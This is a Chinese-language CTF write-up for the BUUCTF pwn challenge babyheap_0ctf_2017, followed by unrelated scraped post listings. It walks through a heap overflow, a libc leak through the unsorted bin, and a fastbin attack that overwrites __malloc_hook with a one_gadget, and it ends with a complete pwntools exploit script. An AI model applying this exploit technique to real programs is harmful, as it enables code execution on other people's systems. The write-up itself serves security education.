[BUUCTF]PWN——babyheap_0ctf_2017

附件

步骤:
例行检查,64位,保护全开

试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个视频,我也刚接触堆不久,有些地方我也讲不清楚

ida载入,先看一下main函数,做堆题的时候需要将程序给理清楚了,这边的几个选项函数一开始不是如图所示的,我们可以右击给他重新命名一下,为了让我们看的更清楚

add,就是简单的创建一个chunk
在创建堆时有一个结构体,这个结构体大概是这样的:

struct pr_heap
{
double alloc_or_not; #0或者1,表示是否分配(0表示没有分配,1表示分配)
double size; #创建chunk的大小
void *heap; #chunk的内存地址
};


edit,我们写入数据的长度是我们可以自己控制的,我们可以利用这点溢出到另一个堆块上

free,普通的释放chunk的过程

show

利用思路

两次 double free 与 fastbin attack 。
第一次先泄露 libc 地址,然后找到构造 fake chunk 的地址。
第二次通过构造的 fake chunk 堆溢出覆写 __malloc_hook 完成 get shell 。

关于堆的一些参数看一下这篇文章

利用过程

1、通过unsortedbin attack 来泄露libc地址

首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了,所以重点是当small chunk释放时,能读出fd 或者 bk的值

我首先通过如下重叠两个块来泄漏libc的地址(也是常见的攻击)。

提前申请几个小堆块

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)

free两个fast bin

free(1)
free(2)

由于 fastbin 是 LIFO ,切是单向链表链接的(依赖 fd 指针链接下一个 fastbin)
所ifree 2个fast bin,第二个fast bin的fd会指向第一个fast bin

然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。我们把 chunk 2 的内容覆盖为 chunk 4 的地址
将如图标记处修改为chuk4的地址,只用修改低8字节即可

payload  = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0, payload)

修改后

现在chunk2的fd指向了chunk4,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。
我们等下要 malloc 回 chunk 4 ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小来通过检查,然后通过两次(因为fast bin是单链表)alloc,就可以small chunk放入fast bin中了

payload = p64(0)*3+p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)

chunk4被我们修改成了fastbin

这样就有2个指针指向同一个chunk了,然后恢复其size大小,申请回来在释放掉(释放时,是当做small bin释放的),接着查看对应chunk的index就好了

payload = p64(0)*3+p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)


unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
0x3c4b78?
libc_base=(程序里的main_arena+88)-0x3c4b78(0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同)](https://editor.csdn.net/md/?articleId=111307531) index=2?
由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)

到这里我们能够获得libc_base了

2、 改写malloc_hook为one_gadget

获得了 libc 地址,我们可以使用 fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后 malloc 出来,这样就可已改写 libc 的内容。malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 来 getshell。

同样的,这里我们也要绕过 malloc 的安全检查,chunksize 必须与 fastbin_index 相对应,初看 __malloc_hook 附近没有合适的 chunksize,这里需要巧妙的偏移一下。

可以发现在 0x7f2a8a09eaed 处构造块可以绕过检测(因为 7f 满足 0x70 大小),可以计算 0x7f2a8a09eaed 距离 libc 基址的偏移为 0x3c4aed

alloc(0x60)

free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

接着将malloc_hook改为one_gadget,这样我们在malloc的时候就能够获取shell了

alloc(0x60)
alloc(0x60) payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
fill(6, payload) alloc(255)

完整EXP:

from pwn import *
import sys context.log_level = "debug" elf = ELF("./babyheap_0ctf_2017")
libc = ELF("./libc-2.23 .so") p = process("./babyheap_0ctf_2017")
#p=remote('node3.buuoj.cn',29218) def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size)) def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content) def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx)) def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline() alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80) #gdb.attach(p) free(1)
free(2) #gdb.attach(p) payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0, payload) #gdb.attach(p) payload = p64(0)*3+p64(0x21)
fill(3, payload) #gdb.attach(p) alloc(0x10)
alloc(0x10) #gdb.attach(p) payload = p64(0)*3+p64(0x91)
fill(3, payload) alloc(0x80)
free(4) #gdb.attach(p) libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base)) alloc(0x60) free(4) payload = p64(libc_base+0x3c4aed)
fill(2, payload) alloc(0x60)
alloc(0x60) payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
fill(6, payload) alloc(255) p.interactive()

参考wp:
https://poning.me/2017/03/24/baby-heap-2017/
https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
https://bbs.pediy.com/thread-223461.htm

[BUUCTF]PWN——babyheap_0ctf_2017的更多相关文章

  1. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  2. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  3. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  4. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  5. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  6. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  7. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  8. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  9. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. win10开机自启

    所有用户的开机自启文件夹 英文路径 # ProgramData目录是隐藏的 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 中 ...

  2. 安装mysql会出现start service错误

    安装MySQL时无法启动服务(could not start the service MYSQL .Error:0)安装mysql会出现start service错误安装mysql时 配置到start ...

  3. C#中指针的使用(转)

    在C#中,有时候希望通过指针来操作内存,这样可以提高效率.我们可以用unsafe关键字修饰含有指针操作的程序段,如下所示: class Program {   static int Main(stri ...

  4. 关于【【故障公告】数据库服务器 CPU 近 100% 引发的故障(源于 .NET Core 3.0 的一个 bug)】IS NOT NULL测试

    测试如图,Core_Users的PhoneNumber可为空,存在索引,记录数1500000+ 增加is not null,查询计划消耗增加了一个0%的筛选器消耗,IO消耗如下一模一样 如果是IS N ...

  5. [loj3364]植物比较

    结论:设$b_{i}$满足该限制,则$a_{i}$合法当且仅当$\forall i\ne j,a_{i}\ne a_{j}$且$\forall |i-j|<k,[a_{i}<a_{j}]= ...

  6. 深度剖析Spring Boot自动装配机制实现原理

    在前面的分析中,Spring Framework一直在致力于解决一个问题,就是如何让bean的管理变得更简单,如何让开发者尽可能的少关注一些基础化的bean的配置,从而实现自动装配.所以,所谓的自动装 ...

  7. docker版本演变,安装,基本命令

    1.docker 版本信息 Docker CE在17.03版本之前叫Docker Engine,版本号从0.1.0(2013-03-23)~1.13.1(2017-02-08),详见https://d ...

  8. CF1578J Just Kingdom

    考虑一个点被填满则他需要从其父亲得到\(q_u = \sum_{v = u\ or\ v \in son_u}m_v\) 那么考虑如何这样操作. 我当时world final做的时候,是从上往下遍历, ...

  9. [POI2002][HAOI2007]反素数

    题意 反素数 想法 证明这样一个结论 对于一个可行的反素数\(p\) \(p = \sum_{i}^{k} p_{k} ^ {c_k}\) 当 \(p_i > p_j 有 c_i < c_ ...

  10. 这份github上被14万人点赞的Java教程太强了

    前几天有个小伙伴加我之后问了下面的这个问题.我看到后是一脸懵逼的状态,jcombobox?实话说,我已经完全忘了在Java中还有这么个东西. 在网上一番搜索后,才发现原来它是 swing 中的下拉列表 ...